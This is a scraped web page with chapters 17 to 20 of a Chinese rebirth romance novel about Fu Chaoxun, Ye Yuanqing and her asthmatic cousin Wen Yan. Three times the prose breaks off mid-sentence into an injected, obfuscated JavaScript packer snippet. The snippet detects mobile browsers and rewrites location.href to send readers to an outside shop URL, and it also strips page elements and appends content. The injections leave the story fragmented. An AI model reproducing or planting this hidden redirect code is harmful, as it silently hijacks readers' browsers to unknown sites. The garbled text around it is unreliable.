她闻言蓦地停下脚步,慢慢转过身来看他。 他那金质玉相,风骨难拓的气质时下随着跌到冰点的气氛显得更为浓烈了。 一瞬间,好似整座冰山轰然而塌,浸骨的寒意随着他清冷的嗓音扑面而来:“元倾,前世我睁一只眼闭一只眼,今世……” “傅朝寻。”还未等他把话说完,她就打断了他,厉声道:“我听不懂你在说什么,请你不要胡言乱语。” 17. 第 17 章 屋外已经刮起了狂风,大雨也即将到来,敞开的窗扉被风吹得吱吱作响。 叶元倾话音落后,房间里安静了好一会。 她转身背对着他,没再去看他的眼睛,每次看到,她都会慌乱,有时候会失去一些判断能力,因为他时而冷漠时而浓情的眼眸让她分不清到底哪个才是发自内心的。 她已经下定决心不再和他有任何关系了,还提曾经那些事做什么,他应该好好反思接下来的这一生要如何过。 他这是头一次见她如此绝情,前世里,即便在他们为数不多的争吵时,她也没有这样过,那时候,起码她是不会离开那个家的,也不会离开他。 她刚才明明对他有关怀,怎么突然又这样了? 是他说错了什么吗? 他沉思了一会,放轻了点语气道:“你别走,我胸口疼,你陪我坐一会。” 时下确实疼的厉害,伴随着纠结的心情,感觉更疼了,这一世他觉得自己变得脆弱了,曾经难杀的身体好似失去了战斗能力。 叶元倾刚下定的决心因为他这句话崩塌了,她鬼使神差地转过身来,对上他看她的双眸,缓和些语气道:“受伤了就要好好养伤,在将军府里莫要胡言乱语,粥凉了,要喝吗?” 他见她神色好了些,急忙点头:“喝!” 叶元倾端起碗走到他跟前,他连忙往里挪了挪,给她腾出一些空让她坐下。 前世傅朝寻受伤发热的时候叶元倾曾贴心地照顾过他很多次,也会端着碗坐在他跟前亲手喂他吃药喝粥。 她习惯性地舀了一勺粥放到唇边吹了吹,然后递到他嘴边,说:“应该不烫了,快些喝,喝完了好好躺下休息,药效还没有起作用,过半个时辰就不会那么疼了。” 他张开口喝下她喂来的粥,又安静地听着她说话,近在咫尺地看着她,看着她粉嫩娇艳的脸蛋,心里莫名地激动起来。 以前他好像还从未仔细看过她,只有在与她圆房那晚在烛光下好生看了她一会,那时候她趴在他身上,羞涩地不敢抬眼,粉嫩的脸颊上因为活动量过大渗出一层细密汗珠,他双手环着她,触着她滑滑嫩嫩的肌肤,心情久久不能平静。 当时他带着前所未有的快感审视着她,那时候心里只生出一个想法:这么好看的人,当真是他的妻子吗? 而后,虽然很是贪恋她身上的温柔,但是为了竞争到一些他自认为可以改变一生的权利,疯狂地沉浸在了争权夺势之中,渐渐地就疏远了她,直到后来都忘记了和她一起缠绵悱恻是什么样子。 后来的几年,他们很少睡在一起。 时下她一十七岁,看起来更加娇嫩喜人,眉眼间也很温润。 看着看着,激动的情绪没有控制住,禁不住深吸了几口气。 叶元倾安静地喂他喝粥,被他看的泛红了脸,她强装镇定地喂他喝完,然后想掏出秀帕子帮他擦擦嘴,忽然发现秀帕还在他手里。 “红色手串怎么不戴了?”他突然问她。 她闻言缩了一下手,起身道:“你先休息,马上就要下雨了,我先走了。” 他见她不愿意回答也没有再问,眼眸渐渐暗沉下来,方才他看到温衍手腕上也戴着一个同样的手串,只是一模一样的白玉珠子是用金线穿起来的。 原来,她戴了那么年的东西是温衍送的。 轰隆一声闷雷滚过,叶元倾没再逗留,开门离开了。 —— 大雨来得急,一串串雨珠打在芭蕉叶上,别有一番景象。 风吹来,携着点点雨水落在身上冰冰凉凉。 叶卓笔挺地站在窗前,垂着眼眸没敢去看表情复杂的母亲。 太师夫人江凤让丫鬟关了窗户,审视着叶卓淡然的神色,轻叹了口气道:“卓儿真的不打算成婚吗?你每年都要娘亲催一遍吗?” 这几年,催的不止七遍八遍了,催得她已经不想再催了,但是随着他年龄增长和周围人的议论,她又不能不管不问。 叶卓没有抬眼,面色仍没有任何变化,轻声回道:“娘亲莫要着急,该成亲的时候自然就成了。” “自然就成了?”江凤顿感无力,“哪里来的自然?姑娘都带到你跟前了你看都不看,哪里来的自然?” 江凤说着说着忍不住抬高了嗓门:“全京城的姑娘我恨不得全都给你找了一个遍,大的小的,活泼的,开朗的,温柔的,各种各样我都给你张罗了一遍,你有一个看得上的吗?我甚至把别城的姑娘都为你找了一遍,你有相中的吗?你告诉娘,你到底喜欢什么样的?莫不是……” 江凤有些问不出口,张了张唇。 叶卓见她气急了,低声回道:“娘亲别担心,我喜欢异性。” 那就好。 江凤松了口气,但还是犯愁道:“卓儿,你也别怪娘这样催你,现在京城里像你这么大不成婚的男儿郎还有几个?” 他算了算,加上傅家和叶家几位公子,起码也有十几个。 江凤说的口干舌燥,喝了口茶,继续道:“你母亲临终前把你托付给我们,声泪俱下地哭求我一定要把你照顾好,不要把你丢弃了。这二十几年,我们对你就像对待亲生儿子一样,甚至怕你心生别扭,比对琛儿和绍儿还要好,你一直都是乖巧懂事的孩子,从来不惹是生非,可是为何,偏偏要在婚事上让我们犯难呢?我和你父亲年纪大了,真的没有精力操心你一辈子。” 这世上,能对寄子这般好的夫妇确实不多。 叶卓只觉得胸口闷得慌,开口安慰道:“是卓儿不好,让父亲母亲操心了,希望母亲再给我一些时间,若是她……若是有合适的姑娘,我定会立马成婚。” “合适的姑娘……”江凤常常叹了口气,琢磨了一下他脱口而出的“她”字,细细回味,不免一惊,然后不可思议地去看他。 他什么时候有了这样的心思? 房间里安静了一会,江凤心中盘算一番,干脆挑明了道:“卓儿,有些话娘要说到前头,因为你寄养在太师府才有了如今的身份,若是离开太师府将会一无所有,更不可能再有能力去迎娶心爱的姑娘,她再好……她再好也不是随便什么人都能攀得上的,这么多年了,你不也看明白了吗?全京城里那么多有权有势家的公子踩破了门槛去提亲,有一个成的吗?” 她深深叹气:“我们也帮不了你,只要你在太师府一天,就得把心思收起来,叶家祖祖辈辈都未出现过这么忤逆的事情,以前没有,以后也不会有。你若是为了一个人离开太师府,有那个本事将她娶到手,我们夫妻绝不会有任何怨言,可是这世道,凭你一己之力是左右不了乾坤的,即便感情再深厚,在权势和人性面前,也会脆弱的不堪一击。” 娘亲说的有道理,非常有道理,他明白,他早就明白,他一直都明白。 他强忍着心里的酸楚,开口嗓音有些低哑:“娘亲说的是,是孩儿自不量力,您放心,孩儿不会给太师府添麻烦。” 江凤见他连话也不敢反驳,忽然又心疼了,他这是默认了她的猜想。 她揉了揉发涨的眉眼,放轻了些语气道:“卓儿如此这般,定是还没遇到更喜欢的姑娘,那好,成婚的事娘暂且不提。方才听宁儿说姜齐去将军府提亲出了些乱子,还牵扯到了傅朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傍晚,叶元萧和温衍从太傅府回来,温衍见傅朝寻还留在府上,脸色一直都很难看,默默地吃了晚饭跟着叶元恒去书房里谈私塾的事情。 叶元倾找到叶元萧,拉着他到自己的房间里,关上房门,轻声问他:“二哥哥经常在外走动,可有听说过一个叫余瑶的人?” “余瑶?”叶元萧仔细回忆了一番,回道:“以前好像听说过这个名字,那次我去太后宫里请安,无意间听到过,有点模糊不清,妹妹怎会问起这个?” 叶元倾回道:“没什么,我也是听别人说起才问问,二哥哥能不能帮忙查查这个人?” 二人虽是兄妹,对方不愿说的事,即便再好奇也不会多问,他对妹妹一直都是有求必应的,他回道:“好,回头哥哥帮你查查。” 他审视了一下她的神色,关切地问:“最近发现妹妹总是心事重重,是不是遇到了麻烦?你告诉哥哥,哥哥帮你解决。” 确实遇到了麻烦,但是也不是别人能帮她解决的。 她笑了笑道:“没有遇到麻烦,可能天冷了,打不起精神。” 叶元萧宠溺地揉了揉她的脑袋,又道:“我听说你和傅朝寻认识,关系还不一般,你要不要跟哥哥说说怎么回事。” 叶元倾蓦地一愣:“谁告诉你的?” 叶元萧轻轻一笑,没有回答。 “温衍?” 依温衍的性子,即便在心里憋死也不会往外说,因为心思敏感的他知道说出去只会对他有弊无利。 18. 第 18 章 叶元萧见她紧张起来,猜测这事估计有几分真,他道:“不是温衍,温衍对你的心思我知晓,只是妹妹,你不害怕傅朝寻吗?你应该也听说了他是什么样的人。” 全京城里没有人不知道,傅朝寻除了皮囊好,性情和名声都不太好,在亲王府里不仅没有地位,还任由他父亲驱使。 “你不害怕他吗”这样的话叶元倾前世听过很多遍,前几日叶宁也这样问过她。 她不明白大家的害怕指的是什么,但是她好像从来没怕过他,在她心里,他并不是一个十恶不赦的坏人。 她垂首回道:“不怕,春日宴的时候我们见过一面,前几日他跟着傅峥临去太师府做客,说过几句话。” “只是这样?”叶元萧似乎不太相信。 “二哥哥是听谁说了什么吗?为何这般问我?” 叶元萧忽而笑了,说:“妹妹别紧张,哥哥没有别的意思,只是刚才我去客房看他,聊了几句,他说三句话里有两句都带着你,还问我下雨天的时候你的胸口疼不疼。” 原来是傅朝寻自己说的。 叶元倾闪动了一下眼眸没说话,往窗外看了一眼,雨下的有点大,但她并未觉得胸口疼,前世胸口疼也是嫁给傅朝寻之后,她觉得并不是什么大事,可能是那时长期郁郁寡欢导致的。 “二哥。”叶元倾岔开了话题,“你不忙了尽快帮我查查那个叫余瑶的人。” 叶元萧见她如此迫切,连连点头道:“妹妹交代的事我怎敢怠慢,你且等着我,一有消息我就来告诉你。” 他站起身:“时候不早了,妹妹休息,哥哥不打扰了。” 叶元倾应了一声送他出了房间。 —— 因着傅朝寻留在将军府不便离开,叶展桡早些把事务办完赶了回来,他先是去看望了一下傅朝寻,又叫来两个儿子讨论了一会马癫的事情。 经过调查发现,好端端的马儿突然发癫,是被人下了药,至于下药的人是谁还没有查明。 叶展桡回了卧房,温容正坐在烛光下等着他,见他过来,急忙上前帮他把打湿衣的外衣脱掉,温声问:“累不累?腰上的伤又疼了吗?” 叶展桡身为武将,身上的刀疤数不胜数,还好强壮的身体能够扛得住,只是前些年在一场征战中腰部受了伤,一到阴天下雨就隐隐作痛,不过并不是大问题。 他抓起温容的手笑说:“让夫人担心了,并无大碍。” 二人走到桌前坐下,温容给他倒了一杯茶,见他的气色和以往一样,担忧的心情总算放松了,她道:“东街命案一事搞得人心惶惶,皇帝大力彻查此事,定是想借此之由看看诸位官家的反应,我大哥说,有位官员向他透露,皇上想把太后娘家的势力就此根除,具体如何都是朝堂上的事了,夫君最近在外一定要谨言慎行。” 温容乃是官家出身,又跟随叶展桡多年,对朝政之事早就耳濡目染,她虽然不便多言,但是关键时候还是会提醒一番。 叶展桡站起身,帮她拆着高盘的秀发,轻回道:“夫人说的是,我也交代了恒儿和萧儿最近小心行事。悦令堂那边我也在查,傅朝寻这次提醒,算是帮了恒儿的大忙,万一那内鬼搞出点事来,叶家可就遭殃了。” 说起傅朝寻,温容笑道:“你猜傅朝寻今日叫我什么?” 叶展桡把取下来的发簪放到她手中,笑问:“他能叫你什么?我看他性子冷淡,能称你一声夫人就不错了。” 温容低低笑了,说:“他叫我岳母。” “什么?”叶展桡不可思议瞪了瞪眼,忙问:“他当真叫你岳母?你确定没有听错?” 温容点头:“没错,就是叫的岳母,一开始我也以为我听错了,后来问屋里的小厮,小厮也说他叫的岳母。” 叶展桡深吸了一口气,好一会没有反应过来,他和夫人互望一眼,心中同样生出一个想法,脱口道:“他不会是看上元倾了吧?” 温容琢磨着:“我也在猜想,只是这俩人是怎么认识的呢?倾儿天天在咱们跟前,也没见她和傅朝寻有过接触呀!” 叶展桡回味了一下叶元倾白日里说的话,“呀”了一声,道:“可别说,可能还真有点意思,今日医师给傅朝寻开药的时候,倾儿还脱口道出傅朝寻对白芷散过敏,当时我还纳闷她怎么会知道这些,后来她解释说是听衙役说的,现在仔细想想,她那紧张的模样多半是在撒谎。” “如此说,他们还真有可能认识?”温容心里说不出是惊还是喜,感觉怪怪的,觉得不合理又有点兴奋。 她道:“说起来,京城这些未成婚的公子里,就数傅朝寻的样貌最出众,你看那身形和气质,和咱们家元倾多般配呀!去年我听说他大哥有意过来提亲,还认真考虑过,我见过傅呈延,尊贵的跟个仙人似的,只是太精明太高傲了,虽然也与咱们倾儿般配,但是这样的人往往要求更高,只怕在一起会很累。” 她说着说着又认真思考了起来,继续道:“老二傅峥临也很优秀,看着好接触,只是他已经看上了叶宁,和宁儿也算是情投意合。老三傅朝寻虽然名声不太好,但是我怎么就莫名地待见他呢?难道就因为他长得好看?” 温容真不知自己对傅朝寻的好感来自哪里,好像从见他第一眼就挺喜欢的,她从来不会片面地去看待一件事情和一个人,她想她有这种好感一定是有道理的。 叶展桡听出了点夫人的意思,他蹙眉琢磨了一会,道:“我看这事必须重视起来,万一两个人真的看上眼了怎么办?你不是不知道你大哥的意思,他盯元倾盯了好几年,一直想让温衍把人娶走,时下两个人都长大了,都到了谈婚论嫁的年纪,温衍又对倾儿有意思,要是倾儿喜欢上别人,只怕你大哥得来找你了。” 温容把取下来的发簪放到桌子上,走到床边整理着床铺,叹气道:“我大哥是怎么想的你又不是不知,温衍母亲是太后娘家的人,这几年他们家越来越不得势,皇帝对他们也有所忌惮,当初他母亲去世后爷俩就被派发到了别的地区,若不是你征战有功做了将军,估计他们很难再回京城,这事牵扯诸多,为了倾儿我也不能不多想,万一有一天太后娘家那边真的出事了,只怕会牵扯到他们,温衍固然喜欢倾儿,但是也得慎重考虑,更何况我们也得尊重倾儿的意思。” 温容心思缜密,考虑颇多,女儿越大越让她担忧,生怕一不小心嫁了不好的人家。 叶展桡经过夫人这一分析,也觉得温衍这边确实得慎重考虑,他帮夫人脱掉鞋子和外衣,揽着她躺下,安慰道:“夫人莫要担心,哪怕让倾儿晚嫁两年,咱们也要找个最满意的,时下先观察观察傅朝寻,若是他们两个人真有意思,我们再做考虑。” 温容应了一声,刚要扯了被子盖上,只听门外有丫鬟喊道:“老爷,夫人,温少爷的哮喘病犯了,现在喘的厉害,你们快过去看看。” 夫妻二人闻言蓦地从床上坐起,下了床,披上外衣匆忙出了房间。 时下狂风肆意,雷雨交加。 二人匆匆跑到温衍的客房前,碰巧撞上慌慌张张赶来的叶元倾和邱盈。 “娘!怎么回事?”叶元倾担忧地问。 温容回道:“我也不知,丫鬟刚把我们叫来。” 几人急忙跑进房间,只见温衍正趴在地上喘的厉害,他浑身颤抖,面如白纸,汗如雨下。 温衍的哮喘病是老毛病了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151658|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以前犯病只会胸闷气短,最严重的时候也就短暂的无法呼吸,还从未出现过像现在这样浑身发颤,意识渐失的现象。 “表哥!”叶元倾慌忙跑到他跟前,抓起他的手道:“表哥,你睁开眼,慢慢呼吸,医师马上就过来了。” 可能温衍这次犯病实在严重,翻着白眼做不出一点反应。 叶元倾揽住他,豆大的泪珠啪啪地落了下来,哭喊道:“温衍哥哥,你别吓我,你快睁开眼睛。” “衍儿,衍儿!”温容瞬间湿了眼眶,一声声地叫着他。 叶展桡急的不知如何是好,也不敢轻易碰他,朝着门外大喊道:“医师呢?怎么回事?为何还不过来?” 管家急忙上前道:“老爷,医师在给傅公子处理伤口,马上就到。” 管家话音刚落,就见医师提着药箱匆匆跑来。 “快快快!”叶展桡急忙催他。 医师跑到温衍跟前,帮他把了脉,从药箱里取出一粒救急的药丸喂他吃下。 “医师,怎么回事?这次怎么这么严重?”温容擦着眼泪问他,刚刚那一幕真的要把人吓死了。 医师抹了一把汗,回道:“这是急性发作,我已经给他吃了救急的药,可以缓解一会,时下我赶紧去给他开药,依目前状况来看不会有生命危险,只是呼吸困难,需要时刻观察,先扶着他坐一会,尽量别让他躺着。” 温容终是松了口气,见叶元倾和邱盈都擦着眼泪,安抚道:“好孩子,医师都说了没事,别太担心了,先扶他坐一会,吃了药就能缓解了。” 邱盈点着头,伸手想去抓温衍的手,还没有碰上又缩了回来。 叶元倾揽着温衍,见他吃完药喘的没有那么厉害了,揪着的心也稍稍放松了一些。 这时候叶元恒和叶元萧也匆忙赶来,见温衍病的如此厉害,均是担忧的不行。 叶元恒害怕出事,冒着大雨连夜跑去太医院给温衍请太医,叶元萧也受父亲指使跑去叫舅舅。 一时间,将军府里乱作一团。 从傍晚开始夜傅朝寻的胸口就一直涨痛,痛到连晚饭都没有吃,后来实在支撑不住就叫来了医师,想让医师帮忙涂点药,只是医师刚坐下,就有人跑来说温衍的哮喘病犯了,让医师赶紧过去。 医师慌张地提着药箱出去了,药也没有给他涂,他倚在床头只觉得胸口火辣辣地疼。 雨越下雨大。 他转头望向门外,看着从屋檐上滚下来的雨帘,心里沉沉的,记得前世温衍病重的时候,叶元倾伤心欲绝地趴在他跟前哭了很久,哭到忘记了吃饭,也忘记了时间。 那时候,他第一次感受到,原来在意一个人是可以这么不顾一切的。 这一世她再见到温衍,应该更加珍惜他了吧! 他动了动身,想要回亲王府,但是身上疼的连床也下不了,他只好勉强躺下,迷迷糊糊地熬了一夜。 翌日一大早他就被医师叫醒,医师端着药过来,轻声说:“公子,昨日实在抱歉,守了温公子一夜,没能顾得上你。你先把药喝下,我一会再帮您涂点药。” 他努力坐起身,往门外望了一眼,雨已经停了,他接过医师手中的碗把药喝下,慢慢下了床,忍着疼痛把鞋子穿上。 医师忙问他:“公子,您要去哪里?” 他低声回道:“我回亲王府,多谢医师这两日的照顾。” 医师见他脸色苍白,精神不佳,劝道:“公子胸腔里伤的厉害,还没有消肿,现在不易乱动,你不妨再住上一日。昨晚大公子在太医院淋着雨等了一夜,终于把赵太医叫来了,赵太医正在给温公子治疗,等治疗完了让他过来帮您看看。” 19. 第 19 章 叶元恒为了他,只是跑到太医院找了代替的药,而为了温衍可以淋一夜的雨把太医叫来。 突然间,他发现,原来人的关怀也是有差距的。 若不是前世叶元恒曾是他的大舅哥,他想他这一会也不会吃这个醋。 但是站在叶元恒的立场上,温衍是家人,他是外人,他也没有必要吃这个醋。 他站直身子,卷了卷带血的袖子,边往门外走边道:“亲王府里也有大夫,我回去也一样。” 他说完就出了房间,一路向院门外走去,路过不远处的客房时,只见几个丫鬟和小厮端着水盆和衣物往客房里走,前面还有一抹粉色身影闪过。 他瞥见那一抹粉色衣角,压了下眉头,快步出了院子。守在院外的衙役搀扶着他上了马车,带着他回了亲王府。 到了亲王府,卫知急忙迎上前来,瞧着他虚弱的样子,担忧问道:“公子,怎么回事?您这一晚去了哪里?” 温容派人压住了傅朝寻受伤的消息,卫知只知道傅朝寻和姜齐在西陵街起了争执,并不知晓他受了伤。 傅朝寻把手搭在他肩上,忍着伤痛道:“无碍,受了点伤而已,父亲在府上吗?” 卫知搀扶着他往院里走,回道:“王爷在府上,早上出去了一趟,回来的时候脸色不太好,公子您要不要过去请个安?” 以往,他是一个八面玲珑的人,尤其对于父亲的言行举止和情绪变化十分在意,只要听说父亲不开心或者遇到了麻烦,他就会第一个跑过去慰问,顺便讨一点差事,好让父亲更喜欢他。 现在,他只想回房休息。 卫知扶着他到了房间,帮他换了身衣服,看到他胸口一片紫红后惊讶地愣住,忙道:“公子,您且等一会,我去叫大夫过来。” 傅朝寻应了一声,还未等他走出门又叫住了他,说:“算了,你去药铺给我抓点药,家里的大夫是王妃带来的,我还不想死的这么早。” 卫知点着头,既心疼又无奈,急忙跑出去帮他抓药。 傅朝寻靠在椅背上坐着,心里乱糟糟的,连喝茶的心情都没有。 他揉了揉发酸的眼睛,闭了一会眼,发现只要一闭上眼满脑子里都是叶元倾。 他缓缓神,拿了本书看。 卫知动作很快,到了街上给他买了一大兜子跌打损伤的药,有用的没用的通通买了回来,服侍他洗漱完之后帮他涂着。 卫知跟随了傅朝寻很多年,他最近越发觉得公子有些不一样了,具体哪里不一样又说不上来。 “卫知,你可有喜欢的姑娘?”傅朝寻突然冷不丁地问他。 卫知呆愣了一瞬,一张小脸神情变换,最后嘿嘿一笑道:“有,喜欢了很久,公子怎么突然问卫知这个?” 这对于卫知来说简直就像太阳打西边出来,傅朝寻性子冷淡惯了,别说谈起情爱了,平时连句知冷知热的话都很难说,也不是他不愿说,是性格使然,可能天生就在人情世故上缺少点东西,即便心里有想法也不知道如何表达,如此才会让人觉得他冷酷无情。 时下他突然这样问,莫不是有了什么想法? 傅朝寻见他有些紧张,缓了点语气道:“别害怕,也别害羞,我只是……想向你讨点经验。” 讨点经验?他有喜欢的人了? 卫知忙道:“公子想讨什么经验尽管说,虽然我喜欢的姑娘不喜欢我,但我还算有点经验的。” “她不喜欢你?”傅朝寻抓住了重点。 卫知无奈一笑:“不喜欢,她喜欢她表哥,两个人儿时就情投意合,还打算成婚呢!” 又是表哥…… 傅朝寻拢了一下眉头,问:“你不难受?” 卫知扬扬眉头:“怎么会不难受,难受的很,还哭过。” 傅朝寻:“……那要怎么解决?” 卫知:“还能怎么解决,抢呗!” 傅朝寻一愣:“怎么抢?” “不知道。”卫知挠了挠头,“我还没有想好怎么抢。” 傅朝寻:“……她若是不喜欢你,你抢得过来?抢来了她就愿意跟你了?” 卫知:“先抢来再说,抢来以后加倍地对她好,好到让她心软,让她接受。女孩嘛!很好哄的。再说了,感情没有一成不变的,一心一意只爱一个人世间并不多,只要付出真心,就算最后一场空,也别无遗憾了。” 不得不说,卫知年纪不大,感悟挺深。 傅朝寻琢磨了一会,对他道:“卫知,以后我去哪里你就跟着我去哪里,寸步不离,我觉得你说的很有道理,对我很有用。” 对他很有用? 卫知看着他的脸色,小心翼翼地问:“公子看上了哪家的姑娘?” 他这么一问,傅朝寻莫名地脸红了,别过脸去,端起茶杯抿着茶,没有回答。 “让我猜猜。”卫知审视着他难得一见的害羞模样,说:“将军府的叶元倾?” “噗!”傅朝寻刚喝了一口茶就喷了出来,一口气没上来,连连咳嗽了好几声。 “公子公子,您别激动。”卫知急忙拿起帕子帮他擦着,“是不是卫知说错了?” 傅朝寻缓了一会儿气,把茶杯放下,问道:“你为何猜是她?” 卫知帮他顺着气,回道:“因为她优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168527|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀呀!她长相好,性情好,学识好,父亲是将军,伯父是太师,祖母还是前朝公主,娘亲又是开国元勋大臣的外孙女,这么多优点和身份叠加在一起,全京城能有几个比得上她,我听说去将军府提亲的人可多了,可惜她没有一个看上的。” “因为她优秀,所以你觉得我……我喜欢她?”傅朝寻低声问。 “这是一方面。”卫知回道:“公子不记得了吗?春日宴的时候元倾姑娘来亲王府赴宴,您站在回廊里偷偷看了她很长时间,当时您还问我那是哪家的姑娘,以前,您从来不打听姑娘的。” 傅朝寻回忆了一下,确实有那么一回事,当时他是见她一直偷偷地看他,他才好奇地去看她,好像也没有别的想法。 “公子,您要提亲吗?”卫知突然问。 “提亲?”傅朝寻喃喃一声,“依什么理由提亲?” “当然依你对她的感情去提亲呀!” “能成?” “不一定,毕竟连你大哥那样的都不一定能成。” 大哥。 傅朝寻皱起了眉头。 卫知发觉说错了话,忙道:“公子我不是那个意思,我的意思是刚开始可能有点困难,因为将军夫妇和别人不一样,我听说,他们曾对媒婆透露,他们不单单只讲究家世,还要讲究缘分和对方的人品性情,最主要能让元倾姑娘喜欢才行。到目前为止,元倾姑娘还没有一个看得上的,说明您还是有希望的。” 傅朝寻审视他:“这些你听谁说的?” 卫知回道:“听大公子院里的丫鬟说的,去年大公子想去提……” 卫知发现又说秃噜嘴了,急忙改口道:“我也是无意间听到的,她们还聊了其他姑娘。” 傅朝寻沉默了一会没说话。 前世他是因为救了叶展桡父子的性命才娶到了叶元倾,这一世恐怕有点难。 卫知见他神色暗沉下来,急忙倒了杯茶,道:“公子,别灰心,元倾姑娘的心意最重要,只要抓住她的心,就容易了。” 容易吗?好像更难了,她有喜欢的人,并且也不愿意与他相认。 他无声地叹了口气,心情越来越糟糕,突然发现重生归来,还没有好好地规划今后的人生。 这一世他绝不能再像上一世那样了,他要该报仇的报仇,该争的取的争取。 然后。 该抢的抢。 “公子,先抢人,再抢心。当然,先抢心再抢人也行。不过,我觉得前者更带劲。” “卫知。” “怎么了公子?” “从这个月开始,给你加一倍的月钱。” 20. 第 20 章 大雨过后,时至深秋,天气逐渐冷了起来,屋里屋外都透着凉气。 叶元倾扯了一条厚厚的毯子帮温衍裹在身上,见他气色好了许多,一直紧皱的眉头终于舒展开来。 温衍紧紧挨着她,感受着她身上温热的气息,瞧着她杏脸桃腮的面容,一时看痴了,一只手情不自禁地抚上她的脸颊,肌肤接触以后,情绪也开始激动起来,压不住心底汹涌而出的喜爱,携着满身的浓情倾身凑近她。 他温热的气息喷在她的脸上,让她急忙往后撤身,抬眸望向他浓情似水的眼眸,紧张地张了张唇。 她的唇娇艳欲滴,好看的就像刚红透的果子,感觉咬上一口就能甜到人的心尖上去。 “妹妹!”温衍难捱激动心情,又倾身迫近她。 叶元倾察觉到他已经乱了分寸,起了身就要走,温衍拉住她,语音温润的就像流入心底的泉水,极其认真地对她道:“妹妹,我们成婚好不好。” 成婚? 叶元倾被他突如其来的话惊住了,往门外看了一眼,低声说:“表哥莫要如此,我去给你倒杯茶。” 她说着使劲往外抽手。 他见她慌乱起来,虽是不舍,但还是松开了她,温声说:“妹妹,哥哥是认真的,我知道妹妹心里有我,也因为我犯病惴惴不安,昨日还辛苦地守了我一整夜,我很感动,也很心疼。” 他语气真诚,略有憔悴的俊秀容颜看起来有几分破碎美感。 “妹妹!”他总把妹妹叫得格外温柔,“你说,你这样好,我要怎么去疼你爱你,用我的后半生,用我的生命,我都觉得不够,所以,我想把你娶回家,对你千倍万倍的好。” 温衍,学富五车,像个诗人,情话说起来连路过的狗听了都会感动。 叶元倾停在桌前,心里某个地方好像渐渐融化了。 他怎么那么会说情话呢? “妹妹,你过来,哥哥不口渴,哥哥只想让你陪我坐着。” 他好听的语言就像带着甜味的棉花,甜甜的,软软的,总是说不完。 叶元倾冷静了一会儿,还是给他倒了一杯茶,走到他跟前问道:“表哥以前也这样犯过病吗?” 记得前世这个时候,他并未犯过如此严重的病。 他接过茶杯,依旧深情地望着她,回道:“以前没有这么严重,这是头一回,可能阴雨天的缘故吧!妹妹别怕,我问过很多大夫,他们都说不会有生命危险,我也会好生配合治疗。” 他把毯子放到一旁,坐直了身子道:“妹妹照顾我一夜,一定很累吧!哥哥帮你捏捏肩。” 他伸手就要拉她坐下,门前突然走来三个人。 是太师府三兄妹。 “姐姐!”一袭鹅黄色衣衫的叶宁跑进来甜甜地叫了一声。 叶元倾转身去迎她:“妹妹,天凉了,冷不冷?” 叶宁摇摇头:“不冷。”瞥了一眼床上的温衍:“我们来看温衍哥哥。” 叶绍和温衍关系甚好,也知晓他有先天性哮喘病,以前他犯病他亲眼见过几次,每次他都在心中感叹:这么好看的人,老天怎么舍得让他受这样的罪呢!这病估计要伴随他一辈子。 他走上前慰问道:“温衍弟弟,感觉怎么样了?” “已经好多了,多谢绍哥哥关心。” 温衍动了一下身想要下床,叶绍急忙扶住他:“别乱动,在床上好生休养,不必跟我们这么客气。” 温衍重新坐下,往门旁看了一眼,只见叶卓正倚在门框上意味不明地看着他,见他看过去,挑了一下唇角道:“看来病的并不严重,还能为元倾妹妹捏肩,昨日那么大的阵仗,都把太医叫来了,我还以为生命垂危了呢!” 温衍:狗东西。 温衍皮笑肉不笑地回他:“卓哥哥说笑,你这般说会让我觉得你巴不得我死了,我死了不打紧,只怕元倾妹妹会伤心难过。她守了我一夜,我为她捏捏肩也是理所当然,若是没有妹妹贴心照顾,我的病也不会好的这么快。” 叶卓扬了一下眉头,冷笑道:“听说傅朝寻也在将军府里住了一晚,将军府真是热情啊!是不是明个我受了伤也能留在将军府里住一晚,元恒哥哥也能跑到太医院淋一夜的雨为我请太医?” 叶卓这话都快酸掉牙了。 温衍笑说:“卓哥哥别说这种晦气话,世间之事玄妙的很,万一待会儿回去就出了事怎么办。” 叶卓:狗东西。 “温衍哥哥,你别咒我二哥。”叶宁见他们越说越离谱急忙制止,然后问叶元倾:“姐姐,傅朝寻昨日真的留宿在了将军府?” 一个外来公子留宿在有待嫁闺秀的家中可不是小事,叔父婶婶竟然让他留了下来。将军府和亲王府虽然不是很近,但也同在京城,傅朝寻昨日用过药以后怎么也能挺到亲王府。 叶元倾经过她一提醒,这才想起来傅朝寻还在家中,从昨晚到现在她都在照顾温衍,竟然把傅朝寻忘记了。 她回道:“昨日他疼的厉害,不便动身,就留他住了一晚。” “那他现在如何了?伤好些了没有?”叶宁问。 叶元倾回道:“我还没有去看他,已经让太医去给他治疗了。” 夏枝见几人谈起傅朝寻,接话道:“小姐,傅公子一大早就走了,方才您在照顾温公子,我还没来得及告诉您。” 他走了? 她忙问:“看太医了吗?” 